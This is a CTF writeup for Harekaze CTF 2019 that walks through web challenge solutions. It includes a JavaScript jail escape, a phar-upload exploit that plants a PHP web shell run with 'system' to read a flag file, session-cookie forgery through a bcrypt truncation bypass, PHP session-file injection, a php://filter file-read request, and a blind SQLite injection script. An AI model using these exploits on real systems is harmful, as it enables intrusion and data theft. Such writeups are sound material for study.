Article List

Harekaze CTF 2019 Writeup


Tue May 21 2019 23:09:51 GMT+0900 (일본 표준시)
ctfwriteupharekaze2019web

Introduction

final scoreboard

I played the CTF with the team name Yokosuka Hackers (Japan-Korea join team) and achieved 1st place.

Here are writeups for web/misc challenges.

A-Z

Simple JS Jail challenge.

It is running on context, so we have nothing to do but to play with constructor and console.

The equation for this jail was as follows. no quotes, backticks and numbers are allowed. Just alphabets, dots and braces were allowed.

javascript
1337 === eval(our_input)

so what we need to make is

javascript
1337 === int(str(int(1)).concat(3).concat(3).concat(7))
javascript
constructor.length.constructor = Integer object
constructor.name.constructor = String object
constructor.constructor.length = 1
console.dir.name.length => "dir".length = 3
console.context.name.length => "context".length = 7

Final payload

javascript
constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))

Avatar1

  1. bypass finfo and bypass image size
  2. Upload 0x10 header of PNG, size bypassed. Payload: here
  3. Flag: HarekazeCTF{seikai_wa_hitotsu!janai!!}

Avatar2

  1. We take the first file payload and save it into a.png.
  2. Generate exploit phar file for attack.
php
<?php
    $a = fread(fopen("a.png","rb"), filesize("a.png")) . str_repeat("\x00", 32);
    $phar = new Phar('exploit.phar');
    $phar->startBuffering();
    $phar->addFromString('exploit.css', '<?php @var_dump($_GET[1]($_GET[2])); ?>');
    $phar->setStub($a . '<?php __HALT_COMPILER(); ? >');
    //$phar->setMetadata($obj);
    $phar->stopBuffering();
?>
  1. Upload generated phar file. http://153.127.202.154:1002/uploads/64f3139f.png
  2. upload flag1
  3. You receive session with flag1 on flash.

session=eyJuYW1lIjoiU1RZUFJTVFlQUlNUWVBSQSIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJXaGF0IGhhcHBlbmVkLi4uPyBPSywgdGhlIGZsYWcgZm9yIHBhcnQgMSBpczogPGNvZGU-SGFyZWthemVDVEZ7c2Vpa2FpX3dhX2hpdG90c3UhamFuYWkhIX08XC9jb2RlPiJ9fQ.JDJ5JDEwJHA1dWg0Njlia2N5bjZvL1p6aVdKNnVrQUxTckJKLkQwelVmUG1qTTZ2akVpc3hLNDFFU0hX

Now we modify theme with uploaded file from (3) {"name":"STYPRSTYPRSTYPRA","flash":{"type":"error","message":"What happened...? OK, the flag for part 1 is: <code>HarekazeCTF{seikai_wa_hitotsu!janai!!}<\/code>"}, "theme": "phar://./uploads/64f3139f.png/exploit"}

  1. This works due to the crypt() function's implementaion and its default bcrypt specification; the check length is limited per spec. Considering that we have a long secret, we can just add the plaintext at the end of session text and password_verify is easily bypassed.
php
$a = password_hash(str_repeat("A"*128, PASSWORD_BCRYPT);
var_dump(password_verify(str_repeat("A"*256), $a)); // true, because it only checks the first 128 byte
  1. Set cookie to attack

document.cookie="session=eyJuYW1lIjoiU1RZUFJTVFlQUlNUWVBSQSIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJXaGF0IGhhcHBlbmVkLi4uPyBPSywgdGhlIGZsYWcgZm9yIHBhcnQgMSBpczogPGNvZGU-SGFyZWthemVDVEZ7c2Vpa2FpX3dhX2hpdG90c3UhamFuYWkhIX08XC9jb2RlPiJ9LCAidGhlbWUiOiAicGhhcjovLy4vdXBsb2Fkcy82NGYzMTM5Zi5wbmcvZXhwbG9pdCJ9" +".JDJ5JDEwJHA1dWg0Njlia2N5bjZvL1p6aVdKNnVrQUxTckJKLkQwelVmUG1qTTZ2akVpc3hLNDFFU0hX";

  1. access http://153.127.202.154:1002/?1=system&2=cat+/flag2-dea5b73356499c78
css
vertical-align: middle;
}
/* light/dark.css */
HarekazeCTF{lfi_with_phar_is_fun}
string(33) "HarekazeCTF{lfi_with_phar_is_fun}"
/**/
    </style>
...

I thought too deep for this challenge and I also bypassed with zip:// during the competition. (?!)

Easy-notes

At the time of solving this challenge, I was not able to connect the server, so I contacted st98-san to check the challenge with my payload.

Explanation

lol

Exploit Method

This challenge is about the problem that can cause when session files and uploaded files are in the same directory.

To successfullly exploit this challenge, we need to export the data with the PHP session filename format and load the session from Cookie.

  1. login as -> sess_imouto, to create session file during export. PHP session files start with sess_.
  2. add_note -> title: dummy|s:1:"d";user|s:6:"imouto";admin|b:1; / content: kawaii. Content is not required.
  3. run /export.php?type=.ok -> due to str_replace function, str_replace("..", "", "/var/www/tmp/sess_imouto-(rand)." . ".ok");
  4. you get the filename from the /export.php response, so we take out the filename.
  5. run index.php?page=flag with Cookie: PHPSESSID=xyz where xyz is the filename retrieved from (4).

Encode-decode

Very simple. We can use \u escapes per JSON specification. so we can bypass filters and load the flag file.

shell
root@imouto-router:~# curl -v "http://problem.harekaze.com:10001/query.php" -d '{"page": "\u0070hp://filter/convert.base64-encode/resource=/\u0066lag"}'
*   Trying 133.242.238.121...
* TCP_NODELAY set
* Connected to problem.harekaze.com (133.242.238.121) port 10001 (#0)
> POST /query.php HTTP/1.1
> Host: problem.harekaze.com:10001
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 71
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 71 out of 71 bytes
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2019 08:15:23 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.3.5
< Content-Length: 66
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host problem.harekaze.com left intact
{"content":"SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=="}

SQLite_vote

shpik san, safflower san, ptr-yudai san and I were on this challenge.

we were able to retrieve some part of the flag, but we didn't have much time to finish this challenge.

it is basically error-based blind sql injection on SQLite. since there were many patches on sqlite module, we had to find some new payloads to attack the service.

python
import requests
import readline

url = "http://mashiro.com/sqlite-voting/vote.php"
url = "http://153.127.202.154:1004/vote.php"
def rr(payload):
    global url
    data = {"id":payload}
    r = requests.post(url,data=data)
    return r.text

length = 38
'''
for i in range(150,155):
    query = "((select(length(hex(hex(flag))))from(flag))between(%d)and(%d))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)"%(i,i)
    t = rr(query)
    print 'try : ',i,t
    if 'error' in t:
        length = i
        break
'''
#print 'length is ',i
# length = 38


flag = '343836313732363536623631376136353433353434363762'
flag = '343836313732363536423631374136353433353434363742'
for i in range(151-len(flag),-1,-1):
    for k in range(0,10):
        query = "((select(length(trim(hex(hex(flag)),%s)))from(flag))between(1)and(%d))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)"%(flag+str(k),i)
        t = rr(query)
        print 'try:',i, k ,query
        if 'error' in t:
            flag += str(k)
            print 'now : ', flag
            break